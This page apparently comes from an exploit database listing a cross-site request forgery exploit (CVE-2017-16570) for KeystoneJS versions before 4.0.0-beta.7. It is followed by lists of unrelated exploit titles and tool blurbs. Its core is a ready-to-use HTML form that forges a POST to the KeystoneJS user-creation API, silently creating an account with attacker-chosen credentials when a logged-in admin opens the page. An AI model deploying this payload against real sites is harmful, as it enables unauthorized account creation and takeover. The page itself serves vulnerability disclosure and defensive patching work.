Menu

Search for hundreds of thousands of exploits

"KeystoneJS < 4.0.0-beta.7 - Cross-Site Request Forgery"

Author

Exploit author

"Saurabh Banawar"

Platform

Exploit platform

nodejs

Release date

Exploit published date

2018-01-28

Download file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Exploit Title: Application wide CSRF Bypass
# Date: Sep, 2017
# Exploit Author: Saurabh Banawar
# Vendor Homepage: http://keystonejs.com/
# Software Link: https://github.com/keystonejs/keystone
# Version: 4.0.0
# Tested on: Windows 8.1
# CVE : 2017-16570


Link: https://vuldb.com/?id.109170


Exploit:

<html>
 <body>
 <form action="http://127.0.0.1:3000/keystone/api/users/create" method="POST"
enctype="multipart/form-data">
 <input type="hidden" name="name&#46;first" value="Saurabh" />
 <input type="hidden" name="name&#46;last" value="Banawar" />
 <input type="hidden" name="email"
value="saurabh&#46;banawar&#64;securelayer7&#46;net" />
 <input type="hidden" name="password" value="test" />
 <input type="hidden" name="password&#95;confirm" value="test" />
 <input type="submit" value="Submit request" />
 </form>
 </body>
</html>
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2018-01-28 "KeystoneJS < 4.0.0-beta.7 - Cross-Site Request Forgery" webapps nodejs "Saurabh Banawar"
2017-10-25 "KeystoneJS 4.0.0-beta.5 - CSV Excel Macro Injection" webapps nodejs "Ishaq Mohammed"
2017-10-25 "KeystoneJS 4.0.0-beta.5 - Cross-Site Scripting" webapps nodejs "Ishaq Mohammed"
Release Date Title Type Platform Author
2018-01-28 "KeystoneJS < 4.0.0-beta.7 - Cross-Site Request Forgery" webapps nodejs "Saurabh Banawar"
2017-01-21 "PageKit 1.0.10 - Password Reset" webapps php "Saurabh Banawar" 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected